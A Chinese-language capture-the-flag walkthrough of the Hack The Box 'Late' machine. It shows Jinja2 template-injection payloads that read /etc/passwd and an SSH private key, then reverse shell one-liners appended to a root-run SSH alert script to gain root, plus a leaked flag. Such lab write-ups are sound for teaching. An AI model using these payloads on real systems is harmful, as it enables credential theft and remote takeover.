xChar
·9 months ago

nmap -v -sV 10.10.11.156
image.png
发现两个端口
22/tcp ssh
80/tcp http

打开网页
image.png

发现个地址,打不开,
images.late.htb
image.png

在hosts加上地址
10.10.11.156 images.late.htb
image.png

打开后,一个文件上传地址
image.png

上传文件发现只能上传PNG格式文件,其他文件在browse会不显示

image.png
上传后,发现了他的上传文件路径
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/test.png1500'
image.png

发现这是Flask框架
image.png

利用图片转text的功能,试一下能否执行
{{3+3}}
{{3*3}}
image.png
上传后,下来看到text内容
image.png

把语句转换成图片,成功
{{url_for.__globals__.__builtins__.open("/etc/passwd").read()}}

svc_acc:x:1000:1000:Service Account:/home/svc_acc:/bin/bash
image.png

发现有个 svc_acc 用户可用,看一下目录下 .ssh 中是否有密钥:
{{url_for.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read()}}
image.png

新建文件id_rsa,复制进去,删掉后缀名
就用这个密钥进行ssh连接
image.png

chmod 600 id_rsa
svc_acc

得到shell

ssh [email protected] -i id_rsa
image.png

进来就看到了user.txt
svc_acc@late:~$ cat user.txt
ab33ccd06cbd67114d219eceae59f08c

image.png

find / -perm -u=s -type f 2>/dev/null
查看权限和SUID文件:
image.png

使用linpeas.sh 枚举一下

image.pngchmod -x linpeas.sh
./linpeas.sh > out.txt

使用LinPEAS,注意到一个有趣的文件名为由root用户运行,每次有人连接到SSH时都会运行。/usr/local/sbin

根据提示,找到这里这个脚本
image.png
可以尝试在里面加上一个反弹shell,然后再次连接,可以获得root

先创建一个文件
svc_acc@late:~$ touch file.txtsvc_acc@late:~$ ls -la<br />-rw-rw-r — 1 svc_acc svc_acc 0 May 26 12:27 file.txt

编辑文件并向其中添加反向 shell 有效负载
svc_acc@late:~$ vim file.txt# here we addbash -i >& /dev/tcp/$ip/端口 0>&1

将您创建的文件附加到ssh警报文件并检查是否已完成此操作
svc_acc@late:~$ cat /home/svc_acc/file.txt >> /usr/local/sbin/ssh-alert.shsvc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh<br />#!/bin/bashRECIPIENT=”[email protected]”<br />SUBJECT=”Email from Server Login: SSH Alert”BODY=”<br />A SSH login was detected.User: $PAM_USER<br /> User IP Host: $PAM_RHOST<br /> Service: $PAM_SERVICE<br /> TTY: $PAM_TTY<br /> Date: date<br /> Server: uname -a<br />“if [ ${PAM_TYPE} = “open_session” ]; then<br /> echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT}<br />fi**bash -i >& /dev/tcp/$ip/端口 0>&1**

附加到文件中。在本地机器上设置一个netcat监听,然后再次通过SSH再次连接,以触发root执行ssh文件。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.156] 59010
bash: cannot set terminal process group (29224): Inappropriate ioctl for device
bash: no job control in this shell

拿到root


root@late:/# whoami
whoami
root

image.png

root@late:/root# cat root.txt
cat root.txt

image.png

参考文章
https://systemweakness.com/hack-the-box-late-walkthrough-1a496ad6e13e

笔记:

{{3+3}}
{{3*3}}

{{url_for.globals.builtins.open("/etc/passwd").read()}}

{{url_for.globals.builtins.open("/home/svc_acc/.ssh/id_rsa").read()}}

find / -perm -u=s -type f 2>/dev/null

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc 10.10.14.3 1234 >/tmp/f" >> /usr/local/sbin/ssh-alert.sh

echo "sh -i >& /dev/tcp/10.10.14.3/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh

bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

Loading comments...